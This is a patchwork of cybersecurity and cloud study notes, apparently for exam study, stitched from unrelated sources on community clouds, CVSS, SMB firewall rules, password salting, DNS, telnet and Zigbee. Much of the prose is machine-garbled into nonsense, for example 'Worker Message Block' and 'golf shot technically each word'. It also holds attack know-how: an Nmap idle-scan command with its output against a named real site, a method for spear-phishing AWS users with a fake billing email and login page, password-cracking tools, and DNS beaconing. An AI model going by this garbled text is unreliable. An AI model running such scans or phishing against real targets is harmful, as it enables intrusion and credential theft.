Openness and ImpartialityCommunity Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many benefits while avoiding the disadvantages of both public and personal clouds.

• Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more flexible to users’ demands.
• Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration demand growth, and you simply need to increase the user-base.

Flexibility and ScalabilityHigh Availability and ReliabilityYour cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.

Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical concerns for any sort of cloud solution.

Security and ComplianceTwo significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities. Compromising each other’s data security isn’t profitable to anyone during a Community Cloud.

• the power to dam users from editing and downloading specific datasets.
• Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the members involved.
• What devices can store sensitive data.

Users can configure various levels of security for his or her data. Common use cases:Convenience and ControlConflicts associated with convenience and control don’t arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding the complexities of a personal Cloud.

Less Work for the IT DepartmentHaving data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.

Environment SustainabilityIn the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds, resources are used more efficiently, thus resulting in a smaller carbon footprint.

A dictionary Attack as an attack vector utilized by the attacker to break in a very system, that is password protected, by golf shot technically each word in a very dictionary as a variety of password for that system. This attack vector could be a variety of Brute Force Attack.

The lexicon will contain words from an English dictionary and conjointly some leaked list of commonly used passwords and once combined with common character substitution with numbers, will generally be terribly effective and quick.

How is it done?

Basically, it’s attempting each single word that’s already ready. it’s done victimization machine-controlled tools that strive all the possible words within the dictionary.

Some password Cracking Software:

• John the ripper

• L0phtCrack

• Aircrack-ng

Just like any other service that accepts usernames and passwords for logging in, AWS users are vulnerable to social engineering attacks from attackers. fake emails, calls, or any other method of social engineering, may find yourself with an AWS users’ credentials within the hands of an attacker.

If a user only uses API keys for accessing AWS, general phishing techniques could still use to gain access to other accounts or their pc itself, where the attacker may then pull the API keys for aforementioned AWS user.

With basic opensource intelligence (OSINT), it’s usually simple to collect a list of workers of an organization that use AWS on a regular basis. This list will then be targeted with spear phishing to do and gather credentials. an easy technique may include an email that says your bill has spiked 500th within the past 24 hours, “click here for additional information”, and when they click the link, they’re forwarded to a malicious copy of the AWS login page designed to steal their credentials.

An example of such an email will be seen within the screenshot below. it’s exactly like an email that AWS would send to you if you were to exceed the free tier limits, except for a few little changes. If you clicked on any of the highlighted regions within the screenshot, you’d not be taken to the official AWS web site and you’d instead be forwarded to a pretend login page setup to steal your credentials.

These emails will get even more specific by playing a touch bit additional OSINT before causing them out. If an attacker was ready to discover your AWS account ID on-line somewhere, they could use methods we at rhino have free previously to enumerate what users and roles exist in your account with none logs contact on your side. they could use this list to more refine their target list, further as their emails to reference services they will know that you often use.

For reference, the journal post for using AWS account IDs for role enumeration will be found here and the journal post for using AWS account IDs for user enumeration will be found here.

During engagements at rhino, we find that phishing is one in all the fastest ways for us to achieve access to an AWS environment.

A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.

Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.

The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical transport of storage media like high-capacity hard drives.

Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

The php.ini file may be a special file for PHP. it’s where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default. Unless you would like to vary one or more settings, there’s no got to create or modify a php.ini file. If you’d wish to make any changes to settings, please do so through the MultiPHP INI Editor.

Rating CVSS Score

None 0.0

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

https://www.first.org/cvss/v3.0/specification-document

The Common Vulnerability Scoring System (CVSS) is an open framework for communicating the characteristics and severity of software vulnerabilities. CVSS consists of three metric groups: Base, Temporal, and Environmental. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score. Thus, CVSS is well suited as a standard measurement system for industries, organizations, and governments that need accurate and consistent vulnerability severity scores. Two common uses of CVSS are calculating the severity of vulnerabilities discovered on one's systems and as a factor in prioritization of vulnerability remediation activities. The National Vulnerability Database (NVD) provides CVSS scores for almost all known vulnerabilities.

Qualitative Severity Rating Scale

For some purposes, it is useful to have a textual representation of the numeric Base, Temporal and Environmental scores.

Table Description automatically generated

Worker Message Block (SMB) is an organization document sharing and information texture convention. SMB is utilized by billions of gadgets in a different arrangement of working frameworks, including Windows, MacOS, iOS , Linux, and Android. Customers use SMB to get to information on workers. This permits sharing of records, unified information the board, and brought down capacity limit needs for cell phones. Workers additionally use SMB as a feature of the Software-characterized Data Center for outstanding burdens like grouping and replication.

Since SMB is a far off record framework, it requires security from assaults where a Windows PC may be fooled into reaching a pernicious worker running inside a confided in organization or to a far off worker outside the organization edge. Firewall best practices and arrangements can upgrade security keeping malevolent traffic from leaving the PC or its organization.

For Windows customers and workers that don’t have SMB shares, you can obstruct all inbound SMB traffic utilizing the Windows Defender Firewall to keep far off associations from malignant or bargained gadgets. In the Windows Defender Firewall, this incorporates the accompanying inbound principles.

You should also create a new blocking rule to override any other inbound firewall rules. Use the following suggested settings for any Windows clients or servers that do not host SMB Shares:

• Name: Block all inbound SMB 445
• Description: Blocks all inbound SMB TCP 445 traffic. Not to be applied to domain controllers or computers that host SMB shares.
• Action: Block the connection
• Programs: All
• Remote Computers: Any
• Protocol Type: TCP
• Local Port: 445
• Remote Port: Any
• Profiles: All
• Scope (Local IP Address): Any
• Scope (Remote IP Address): Any
• Edge Traversal: Block edge traversal

You must not globally block inbound SMB traffic to domain controllers or file servers. However, you can restrict access to them from trusted IP ranges and devices to lower their attack surface. They should also be restricted to Domain or Private firewall profiles and not allow Guest/Public traffic.

Once a suitable zombie has been found, performing a scan is easy. Simply specify the zombie hostname to the -sI option and Nmap does the rest. Example 5.19 shows an example of Ereet scanning the Recording Industry Association of America by bouncing an idle scan off an Adobe machine named Kiosk.

Example 5.19. An idle scan against the RIAA

# nmap -Pn -p- -sI kiosk.adobe.com www.riaa.com

Starting Nmap ( http://nmap.org  )

Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental

Nmap scan report for 208.225.90.120

(The 65522 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp

25/tcp     open        smtp

80/tcp     open        http

111/tcp    open        sunrpc

135/tcp    open        loc-srv

443/tcp    open        https

1027/tcp   open        IIS

1030/tcp   open        iad1

2306/tcp   open        unknown

5631/tcp   open        pcanywheredata

7937/tcp   open        unknown

7938/tcp   open        unknown

36890/tcp  open        unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds

https://nmap.org/book/idlescan.html

Passwords are usually delineated as “hashed and salted”. salting is simply the addition of a unique, random string of characters renowned solely to the site to every parole before it’s hashed, typically this “salt” is placed in front of each password.

The salt value needs to be hold on by the site, which means typically sites use the same salt for each parole. This makes it less effective than if individual salts are used.

The use of unique salts means that common passwords shared by multiple users – like “123456” or “password” – aren’t revealed revealed when one such hashed password is known – because despite the passwords being the same the immediately and hashed values are not.

Large salts also protect against certain methods of attack on hashes, including rainbow tables or logs of hashed passwords previously broken.

Both hashing and salting may be repeated more than once to increase the issue in breaking the security.

https://www.darknet.org.uk/2017/07/bluto-dns-recon-zone-transfer-brute-forcer/

"Attackers also use DNS lookup tools such as DNSdumpster.com, Bluto, and Domain Dossier to retrieve DNS records for a specified domain or hostname. These tools retrieve information such as domains and IP addresses, domain Whois records, DNS records, and network Whois records." CEH Module 02 Page 138

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... https://subinsb.com/default-device-ttl-values/

Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. For Windows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

Banner grabbing is a technique wont to gain info about a computer system on a network and the services running on its open ports. administrators will use this to take inventory of the systems and services on their network. However, an to find will use banner grabbing so as to search out network hosts that are running versions of applications and operating systems with known exploits.

Some samples of service ports used for banner grabbing are those used by Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 severally. Tools normally used to perform banner grabbing are Telnet, nmap and Netcat.

For example, one may establish a connection to a target internet server using Netcat, then send an HTTP request. The response can usually contain info about the service running on the host:

Graphical user interface, text, application Description automatically generated

This information may be used by an administrator to catalog this system, or by an intruder to narrow down a list of applicable exploits.To prevent this, network administrators should restrict access to services on their networks and shut down unused or unnecessary services running on network hosts. Shodan is a search engine for banners grabbed from portscanning the Internet.

DNS uses Ports 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. instead of the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a best-effort protocol after all) within the first instance, most systems will retry variety of times and only after multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size – typically 512 bytes for DNS but can depend upon system settings.Figure 1 below illustrates the essential process of how DNS operates: the client sends a question string (for example, mail.google[.]com during this case) with a particular type – typically A for a number address. I’ve skipped the part whereby intermediate DNS systems may need to establish where ‘.com’ exists, before checking out where ‘google[.]com’ are often found, and so on.

Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it’s really no surprise that telnet is usually seen on the highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or OS upgrade. As is usually the case, this upgrade has not been performed on variety of devices. this might flow from to the very fact that a lot of systems administrators and users don’t fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnets vulnerabilities is to completely discontinue its use. the well-liked method of mitigating all of telnets vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have several drawbacks to beat before it can completely replace telnet. it’s typically only supported on newer equipment. It requires processor and memory resources to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info . This paper was written to assist clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web

Once a reputation is resolved to an IP caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS servers) for a period of your time . Subsequent queries for an equivalent name from an equivalent client then don’t leave the local system until said cache expires. Of course, once the IP address of the remote service is understood , applications can use that information to enable other TCP-based protocols, like HTTP, to try to to their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.So, beat all, a couple of dozen extra UDP DNS queries from an organization’s network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary; commands could even be received to the requesting application for processing with little difficulty.

https://search.arin.net/rdap/?query=199.43.0.43

Zigbee could be a wireless technology developed as associate open international normal to deal with the unique desires of affordable, low-power wireless IoT networks. The Zigbee normal operates on the IEEE 802.15.4 physical radio specification and operates in unauthorised bands as well as a pair of.4 GHz, 900 MHz and 868 MHz.

The 802.15.4 specification upon that the Zigbee stack operates gained confirmation by the Institute of Electrical and physical science Engineers (IEEE) in 2003. The specification could be a packet-based radio protocol supposed for affordable, battery-operated devices. The protocol permits devices to speak in an exceedingly kind of network topologies and may have battery life lasting many years.

The Zigbee three.0 Protocol

The Zigbee protocol has been created and ratified by member corporations of the Zigbee Alliance.Over three hundred leading semiconductor makers, technology corporations, OEMs and repair corporations comprise the Zigbee Alliance membership. The Zigbee protocol was designed to supply associate easy-to-use wireless information answer characterised by secure, reliable wireless network architectures.

THE ZIGBEE ADVANTAGE

The Zigbee 3.0 protocol is intended to speak information through rip-roaring RF environments that area unit common in business and industrial applications. Version 3.0 builds on the prevailing Zigbee normal however unifies the market-specific application profiles to permit all devices to be wirelessly connected within the same network, no matter their market designation and performance. what is more, a Zigbee 3.0 certification theme ensures the ability of product from completely different makers. Connecting Zigbee three.0 networks to the information science domain unveil observance and management from devices like smartphones and tablets on a local area network or WAN, as well as the web, and brings verity net of Things to fruition.

Zigbee protocol options include:

• Support for multiple network topologies like point-to-point, point-to-multipoint and mesh networks
• Low duty cycle – provides long battery life
• Low latency
• Direct Sequence unfold Spectrum (DSSS)
• Up to 65,000 nodes per network
• 128-bit AES encryption for secure information connections
• Collision avoidance, retries and acknowledgements

This is another short-range communication protocol based on the IEEE 203.15.4 standard. Zig-Bee is used in devices that transfer data infrequently at a low rate in a restricted area and within a range of 10–100 m.